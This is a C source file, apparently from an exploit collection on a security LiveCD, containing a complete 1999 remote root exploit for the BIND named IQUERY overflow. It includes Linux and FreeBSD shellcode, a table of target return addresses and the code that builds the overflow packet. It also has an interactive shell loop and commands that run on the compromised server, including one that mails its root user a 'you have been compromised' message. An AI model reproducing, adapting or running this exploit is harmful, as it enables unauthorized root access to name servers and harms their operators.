home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / b0rg.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  11.2 KB  |  422 lines
  1. /* b0rg.c - copyright by Mixter <mixter@telebot.com>
  2.  * released 14/8/99 - nameserver iquery root exploit
  3.  * that will detect unsuccessfull compromises and
  4.  * run some user-defined shell commands on the host
  5.  * on a successfull compromise. Based of off namedsploit.c
  6.  * by Riders Of The Short Bus (ROTShB) */
  7.  
  8. /*
  9.  * have fun.
  10.  * -ROTShB
  11.  */
  12.  
  13. /* These commands will execute on the compromised host */
  14.  
  15. static char borg[]=
  16.   "\n\necho Your name server has been compromised. Please patch it\\"
  17.   " immediately. - Security scan - http://members.xoom.com/i0wnu/ | mail\\"
  18.   "root\n\n";
  19.  
  20. static char collective[] = "w ; id ; pwd\n\n";
  21.  
  22. #include <unistd.h>
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <signal.h>
  26. #include <time.h>
  27. #include <string.h>
  28. #include <ctype.h>
  29. #include <netdb.h>
  30. #include <sys/time.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33. #include <arpa/inet.h>
  34. #include <arpa/nameser.h>
  35.  
  36. #define DEFAULT_TARGET       0
  37. #define DEFAULT_OPTIMIZATION 0
  38. #define DEFAULT_ANBUF_OFFSET 300
  39. #define DLEN_VAL             4
  40. #define NPACKETSZ            512
  41. #define NMAXDNAME            1025
  42. #define PRE_EGG_DATALEN      (1+(sizeof(short)*3)+sizeof(long))
  43. #define ALEN_VAL             (DLEN_VAL+PRE_EGG_DATALEN)
  44. #define BUFFSIZE             4096
  45.  
  46. struct target_type
  47.   {
  48.     char          desc[40];
  49.     int           systype;
  50.     unsigned long addr;
  51.     unsigned long opt_addr;
  52.     int           fd;
  53.   };
  54.  
  55. struct target_type target[] =
  56.     {
  57.       {"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4
  58.       },
  59.       {"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
  60.       {"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
  61.       {"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
  62.       {"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
  63.       {"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
  64.       {"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
  65.       {"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
  66.       {"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
  67.       {"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
  68.       {"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
  69.       {"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
  70.       {"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
  71.       {"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
  72.       {"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
  73.       {"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
  74.       {{0},0,0,0,0}
  75.     };
  76.  
  77. unsigned long resolve(char *host)
  78. {
  79.   long i;
  80.   struct hostent *he;
  81.  
  82.   if((i=inet_addr(host))==(-1))
  83.     if((he=gethostbyname(host))==NULL)
  84.       return(0);
  85.     else
  86.       return(*(unsigned long *)he->h_addr);
  87.  
  88.   return(i);
  89. }
  90.  
  91. int send_packet(int fd, char *buff, int len)
  92. {
  93.   char tmp[2], *ptr=tmp;
  94.  
  95.   PUTSHORT(len,ptr);
  96.  
  97.   if(write(fd,tmp,2)!=2)
  98.     return(-1);
  99.  
  100.   if(write(fd,buff,len)!=len)
  101.     return(-1);
  102.  
  103.   return(1);
  104. }
  105.  
  106. int attack(int fd, struct target_type t, unsigned long offset, int optimized)
  107. {
  108.   char buff[BUFFSIZE], *ptr=buff;
  109.   HEADER *dnsh=(HEADER *)buff;
  110.   unsigned long i;
  111.   int dlen, len=0;
  112.  
  113.   (void)memset(dnsh,0,sizeof(HEADER));
  114.  
  115.   dnsh->id      = htons(31337);
  116.   dnsh->opcode  = IQUERY;
  117.   dnsh->rd      = 1;
  118.   dnsh->ra      = 1;
  119.   dnsh->ancount = htons(1);
  120.  
  121.   ptr += sizeof(HEADER);
  122.   len += sizeof(HEADER);
  123.  
  124.   *ptr = '\0';
  125.   ptr++;
  126.  
  127.   i = T_A;
  128.   PUTSHORT(i,ptr);
  129.  
  130.   i = C_IN;
  131.   PUTSHORT(i,ptr);
  132.  
  133.   i = 31337;
  134.   PUTLONG(i,ptr);
  135.  
  136.   if(t.systype==0)
  137.     {
  138.       char c0de[] =
  139.         "\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
  140.         "\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
  141.         "\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
  142.         "\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
  143.         "\xff\xff\xff/bin/sh";
  144.  
  145.       if(optimized)
  146.         dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
  147.       else
  148.         dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
  149.  
  150.       PUTSHORT(dlen,ptr);
  151.       len += PRE_EGG_DATALEN;
  152.  
  153.       c0de[7] = t.fd;
  154.  
  155.       (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
  156.  
  157.       i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
  158.       (void)memcpy((ptr+i),c0de,sizeof(c0de));
  159.  
  160.       if(!optimized)
  161.         {
  162.           (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
  163.           i = ALEN_VAL;
  164.           (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
  165.           i = DLEN_VAL;
  166.           (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
  167.         }
  168.       else
  169.         (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
  170.  
  171.       i = (optimized?t.opt_addr:t.addr)+offset;
  172.       (void)memcpy((ptr+(dlen-4)),&i,sizeof(i));
  173.  
  174.       len += dlen;
  175.     }
  176.  
  177.   else if(t.systype==1)
  178.     {
  179.       char c0de[] =
  180.         "\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
  181.         "\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
  182.         "\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
  183.         "\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
  184.         "\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
  185.         "\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
  186.         "\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
  187.         "\xe8\x8d\xff\xff\xff";
  188.  
  189.       if(optimized)
  190.         dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
  191.       else
  192.         dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
  193.  
  194.       PUTSHORT(dlen,ptr);
  195.       len += PRE_EGG_DATALEN;
  196.  
  197.       c0de[22] = t.fd;
  198.  
  199.       (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
  200.  
  201.       i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
  202.       (void)memcpy((ptr+i),c0de,sizeof(c0de));
  203.  
  204.       if(!optimized)
  205.         {
  206.           (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
  207.           i = ALEN_VAL;
  208.           (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
  209.           i = DLEN_VAL;
  210.           (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
  211.         }
  212.       else
  213.         (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
  214.  
  215.       i = (optimized?t.opt_addr:t.addr)+offset;
  216.       (void)memcpy((ptr+(dlen-4)),&i,sizeof(i));
  217.  
  218.       len += dlen;
  219.     }
  220.   else
  221.     return(0);
  222.  
  223.   return(send_packet(fd,buff,len));
  224. }
  225.  
  226. int main(int argc, char *argv[])
  227. {
  228.   char xbuf[128], ybuf[128];
  229.   unsigned long offset=DEFAULT_ANBUF_OFFSET;
  230.   int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
  231.   int xlen=0, ylen=0;
  232.   fd_set rd, wr;
  233.   struct sockaddr_in sa;
  234.  
  235.   for(i=0;((target[i].addr)||(target[i].opt_addr));i++);
  236.  
  237.   if(argc<2)
  238.     {
  239.       (void)fprintf(stderr,"\ntarget types:\n");
  240.  
  241.       for(ti=0;ti<i;ti++)
  242.         (void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);
  243.  
  244.       (void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
  245.                     argv[0]);
  246.       exit(-1);
  247.     }
  248.  
  249.   if(argc>2)
  250.     {
  251.       ti = atoi(argv[2]);
  252.       if((ti<0)||(ti>i))
  253.         {
  254.           (void)fprintf(stderr,"error: invalid target type %d\n",ti);
  255.           exit(-1);
  256.         }
  257.     }
  258.   else
  259.     ti = DEFAULT_TARGET;
  260.  
  261.   if(argc>3)
  262.     {
  263.       opt = atoi(argv[3]);
  264.       if((opt!=0)&&(opt!=1))
  265.         {
  266.           (void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
  267.           exit(-1);
  268.         }
  269.     }
  270.  
  271.   if(argc>4)
  272.     offset = atoi(argv[4]);
  273.  
  274.   if(!(sa.sin_addr.s_addr=resolve(argv[1])))
  275.     {
  276.       (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
  277.       exit(-1);
  278.     }
  279.  
  280.   sa.sin_family = AF_INET;
  281.   sa.sin_port   = htons(53);
  282.  
  283.   if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
  284.     {
  285.       (void)perror("error: socket");
  286.       exit(-1);
  287.     }
  288.  
  289.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
  290.     {
  291.       (void)perror("error: connect");
  292.       exit(-1);
  293.     }
  294.  
  295.   (void)printf("target             : %s\n",inet_ntoa(sa.sin_addr));
  296.   (void)printf("target type        : %d %d\n",ti,opt);
  297.   //  (void)printf("target type        : %s\n",target[ti].desc);
  298.   //  (void)printf("optimized named    : %s\n",(opt?"YES":"NO"));
  299.   //  (void)printf("anbuff addr        : 0x%x\n",(unsigned int)
  300.   //               (i=(opt?target[ti].opt_addr:target[ti].addr)));
  301.   //  (void)printf("anbuff addr offset : %lu\n",offset);
  302.   //  (void)printf("ret addr           : 0x%x\n",(unsigned int)(i+offset));
  303.   //  (void)printf("fd to make dups of : %d\n",target[ti].fd);
  304.  
  305.   (void)printf("[borg collective is assaulting]\n");
  306.  
  307.   switch(attack(sock,target[ti],offset,opt))
  308.     {
  309.     case -1:
  310.       (void)perror("error: attack");
  311.       exit(-1);
  312.       break;
  313.  
  314.     case 0:
  315.       (void)fprintf(stderr,"error: internal error\n");
  316.       exit(-1);
  317.       break;
  318.     }
  319.  
  320.   sleep(1);
  321.   (void)printf("[borg collective is assimilating]\n");
  322.   write(sock, borg, sizeof(borg));
  323.   write(sock, collective, sizeof(collective));
  324.   bzero(ybuf,sizeof(ybuf));
  325.   read(sock, ybuf, 127);
  326.   if(strstr(ybuf,"ziëà")!=NULL)
  327.     {
  328.       (void)printf("[not worthy of assimilation]\n");
  329.       exit(0);
  330.     }
  331.  
  332.   write(fileno(stdout), ybuf, 127);
  333.   bzero(ybuf,sizeof(ybuf));
  334.   sprintf(ybuf,"echo %s\n",inet_ntoa(sa.sin_addr));
  335.   write(sock,ybuf,sizeof(ybuf));
  336.   bzero(ybuf,sizeof(ybuf));
  337.  
  338.   (void)printf("[resistance is futile]\n");
  339.   sleep(1);
  340.  
  341.   while(1)
  342.     {
  343.       FD_ZERO(&rd);
  344.       if(ylen<(sizeof(ybuf)-1))
  345.         FD_SET(sock,&rd);
  346.       if(xlen<(sizeof(xbuf)-1))
  347.         FD_SET(fileno(stdin),&rd);
  348.  
  349.       FD_ZERO(&wr);
  350.       if(xlen)
  351.         FD_SET(sock,&wr);
  352.       if(ylen)
  353.         FD_SET(fileno(stdout),&wr);
  354.  
  355.       if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
  356.         {
  357.           (void)perror("error: select");
  358.           break;
  359.         }
  360.  
  361.       if(FD_ISSET(fileno(stdin),&rd))
  362.         {
  363.           if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
  364.             {
  365.               (void)perror("error: read");
  366.               exit(-1);
  367.             }
  368.           else if(i==0)
  369.             break;
  370.  
  371.           xlen += i;
  372.           if(!(--ti)) continue;
  373.         }
  374.  
  375.       if(FD_ISSET(sock,&wr))
  376.         {
  377.           if(write(sock,xbuf,xlen)!=xlen)
  378.             {
  379.               (void)perror("error: write");
  380.               exit(-1);
  381.             }
  382.  
  383.           xlen = 0;
  384.           if(!(--ti)) continue;
  385.         }
  386.  
  387.       if(FD_ISSET(sock,&rd))
  388.         {
  389.           if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
  390.             {
  391.               (void)perror("error: read");
  392.               exit(-1);
  393.             }
  394.           else if(i==0)
  395.             break;
  396.  
  397.           ylen += i;
  398.           if(!(--ti)) continue;
  399.         }
  400.  
  401.       if(FD_ISSET(fileno(stdout),&wr))
  402.         {
  403.           if(write(fileno(stdout),ybuf,ylen)!=ylen)
  404.             {
  405.               (void)perror("error: write");
  406.               exit(-1);
  407.             }
  408.  
  409.           ylen = 0;
  410.           if(!(--ti)) continue;
  411.         }
  412.     }
  413.  
  414.   if(close(sock)==(-1))
  415.     {
  416.       (void)perror("error: close");
  417.       exit(-1);
  418.     }
  419.  
  420.   exit(0);
  421. }
  422. /*                    www.hack.co.za              [2000]*/